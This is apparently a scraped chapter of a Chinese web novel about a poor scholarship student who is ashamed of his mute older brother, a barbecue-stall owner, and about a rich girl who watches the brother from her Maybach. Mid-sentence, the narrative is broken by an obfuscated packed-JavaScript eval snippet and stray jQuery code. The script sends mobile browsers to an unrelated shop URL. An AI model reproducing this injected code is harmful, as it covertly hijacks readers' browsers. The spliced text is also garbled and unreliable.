.
沈明觉得，老天大概是看他不顺眼。
这事儿他也不是第一天知道了。但站在教学楼门口，看着外面那雨，他还是忍不住在心里骂了一句。
操。
旁边的女生挤成一团，有人掏出手机打电话，那种大屏幕的智能机，亮闪闪的，沈明不认识牌子，但估摸着至少得大几千。有钱人家的孩子，万科国际里一抓一大把，不稀奇。
“爸你到哪儿了？我都淋着了！”女生对着手机喊，语气里带点撒娇。
沈明把校服领子往上拽了拽，往门廊角落缩了缩。
他没带伞。
其实也不是什么大事。他家住在城中村那条巷子里，公交转几趟就到了，淋回去顶多感冒。感冒也不用看医生，多喝热水，扛两天就好，从小到大都是这么过来的。
问题是，
他又看了一眼外面。
雨大得跟泼水似的，这要冲出去，三秒钟就能湿透。
算了，等雨小点儿吧。
他靠墙站着，把书包抱在胸前。旁边人来人往，有家长来接的，有自己打车的，还有人撑着那种很贵的格子伞，三三两两往校门口走。
沈明低头看着自己的鞋。
鞋底磨得快平了，鞋帮子那儿开了一小道口，他自己拿胶水粘过。这事儿要是让他班里那群少爷小姐看见，又得有人说“卧槽沈明你也太省了吧”。
他不喜欢那种目光。
同情的，可怜的，或者那种“你成绩好你牛逼但你还是穷”的眼神。
所以他平时在班里话不多。坐最后一排靠墙的位置，上课听讲，下课趴着，不主动跟人说话，也没几个人主动跟他说话。成绩好是唯一拿得出手的东西，但这学校里的学生大多不指着成绩活，人家家里有矿，有厂，有上市公司。成绩好有什么用？毕业了还不是给人打工。
沈明有时候觉得自己跟这学校格格不入，但他就是那么莫名其妙考了进来，还拿了全额奖学金。他哥知道了很高兴，把原先租的房子退了，换了现在这个更近的。
他哥。
想到沈旭，沈明就觉得胸口那块石头又压上来了。
正想着，一辆黑色迈巴赫驶来，停在校门口，穿制服的司机下来，撑着把巨大的黑伞小跑着去廊下，严严实实遮在正走出来的秦萧头顶。
他的目光不由自主粘上去，就看见几步开外，校门口那棵梧桐树底下，站着个人。撑一把深蓝色的伞，伞面上印着“XX电信”四个字，边角还塌了一块，雨水顺着破洞往下滴。
是沈旭。
他当时脑子里“嗡”的一声。
不是让他别来了吗？
他咬咬牙，快步走过去。
“哥！”
沈旭听不见他喊。但弟弟冲出来的身影闯进余光，他才转过头来。看见沈明，他眼睛里的那点出神收了回去，跟平时一样，安静。
沈明一把夺过他的伞。伞柄上那股洗不掉的烧烤油烟味直往鼻子里钻。
“不是说了不用你来吗！下这么大雨！”他压着嗓子，眼睛飞快扫了一眼迈巴赫的方向。
沈旭看着他，抬手比划。右手食指先指向沈明，然后双手做出撑伞的动作，最后摊开手掌，做了个“没有”的手势：你没带伞。
沈明别开脸：“打字说，我看不懂。”
他知道他哥不会说话。天生的，从小就不会。他妈在世的时候带他哥去过很多医院，花了很多钱，没用。医生说是声带的问题，治不了。
他哥就这么哑了二十二年。
为了供他上学，他哥辍了学，在城中村那条街上支了个烧烤摊。每天下午出摊，忙到凌晨两三点，烟熏火燎的。夏天热得要死，冬天冷得要命。手上有好多烫伤的疤。
他知道。
他什么都知道。
但知道归知道。
当一个浑身湿透的、穿着破T恤的、不会说话的哑巴，出现在万科国际私立高中门口的时候，沈明还是觉得丢人。
沈旭似是没发现他的嫌弃，从兜里掏出手机，按了几下，递过来。
[伞拿好。]
[我去接班，老张一个人忙不过来。]
[烤串在袋里，热了再吃。]
沈明看了一眼，别过头去。他知道沈旭对他好，掏心掏肺的那种好。但他就是烦。烦他哥出现在这儿，烦这把破伞，烦那股油烟味。
廊柱那边，有几个人正往外走，有人往这边瞟了一眼。
沈明下意识将伞一斜，挡住他哥。
“赶紧回去，别在这儿——”他咬着牙，硬生生把“丢人”两个字咽了回去。
沈旭没说什么，又从怀里掏出个塑料袋包着的东西塞他手里，温的。外面还裹了层干毛巾，一点没湿。
然后他转身走进雨里。
这时，那辆黑色迈巴赫缓缓启动，驶过他们身边。
车轮压过积水。沈明的余光里，沈旭一直微微佝偻着的背在那瞬间不易察觉地挺直了一些。那个因为长得高，总是低头为客人服务的烤串摊主，在雨水中像棵骤然拔节的青竹，透出一种被生活磋磨却未曾折断的风骨。
“神经病。”沈明嘟囔着，撑开伞朝另一个方向走去。
但走了十几米，他鬼使神差回头。
校门口，沈旭正和一个中年男人支防雨棚。男人嘴巴一张一合，大概在抱怨这鬼天气。沈旭眼睛看着对方的嘴唇，偶尔点头，手上动作利索。接着，男人比划了个抽烟的手势，又指指对面便利店。
沈旭抬手抹了把脸上的雨水，点点头，转身小跑过去。
看见他哥又是这副逆来顺受，谁都能支使两下的讨嫌模样，沈明羞恼地别过脸，加快脚步，几乎逃一样消失在了越来越密的雨帘之中。他跑得快，便也没看见那车去而复返，停在了街角阴影里。
后排车窗降下半边，斜雨吹进去，打湿了车内少女精心打理的秀发。
秦萧靠着座椅，目光穿过雨幕，落在校门口那个身影上。
雨很大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17677135|207526||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，校门口那个身影被水汽模糊得有些失真。那个瘦高的年轻人正穿过马路，往便利店跑，雨水从他身上往下淌。
她看了很久。
司机从后视镜里看了她一眼，没敢出声。
直到那个身影消失在便利店的灯光里，秦萧才收回视线。
“走吧。”
迈巴赫缓缓启动，驶入雨中。
.
烧烤摊旁边，老张蹲在自家店门口抽烟。雨小了，变成毛毛雨。他看着对面那个还在收拾东西的家伙，啧了一声。
“喂！”
沈旭没反应。
老张站起来，抓了条毛巾团成团，砸他胳膊上。
沈旭转头看他。
老张凑过去，嘴张得老大，一个字一个字往外蹦：“刚——才——那——车——”
沈旭看着他。
“那迈巴赫！停马路边上瞅你半天了！”老张压着嗓子，手指往街角戳，“认——识？”
沈旭动作停了一瞬，摇头。垂下眼，避开老张探究的视线。
“装。”老张掏出手机打字给他看：【真不认识？那车一看就牛逼，你小子别走了狗屎运瞒着哥。】
沈旭瞥了一眼屏幕，再次摇头，背过身去继续理东西。
“得。”老张撇撇嘴，转身招呼客人去了。
沈旭蹲在那儿，假装在箱子里翻东西。没人看见，他嘴角往上扯了一下，但还没等那点弧度成型，他就用力把不该有的表情压了回去，恢复了那副温吞沉默模样。
他不敢让任何人发现。
可老张的话像根羽毛，在他心口最软的地方轻轻挠了一下。他忍不住想那辆车，想车里的人，想她是不是真的看了他那么久。
这一晚生意不好，就来了几个熟客，打包点串就走了。沈旭忙到十一点，收摊的时候把每样东西归置好，地扫干净，垃圾全部归拢。
老张在门口看着他，喊：“傻不傻啊你，帮人家弄啥？”
沈旭没听见，只拧干毛巾，继续擦着那几张折叠桌。桌角有块污渍，他又用钢丝球蘸着洗洁精，一点点磨。
老张看着，心里说不上什么滋味。
这孩子在这摆摊快两年了，不会说话，也听不见，但干活儿利索，从不偷奸耍滑。有时候他想，自己要是有个闺女，肯定不能让她跟这种人来往，太穷了，看不见头的那种穷。但要是自己有儿子，能养成这样，简直省心。
沈旭把烤炉搬上三轮车，捆好。又从车座底下摸出个塑料袋，把自己那个旧保温杯和饭盒装进去，怕被雨淋湿。
老张瞅见他那个保温杯，漆都掉得差不多了，露出里面锈黄色的铁皮，忍不住说：“你那杯子该换一个了！回头我给你拿个新的，我那多的是，客户送的！”
沈旭听不见。
但他直起身的时候，冲老张笑了笑，点了点头。
也不知道听没听见。
老张摆摆手，懒得再说。
沈旭蹬上三轮车，冲进雨里。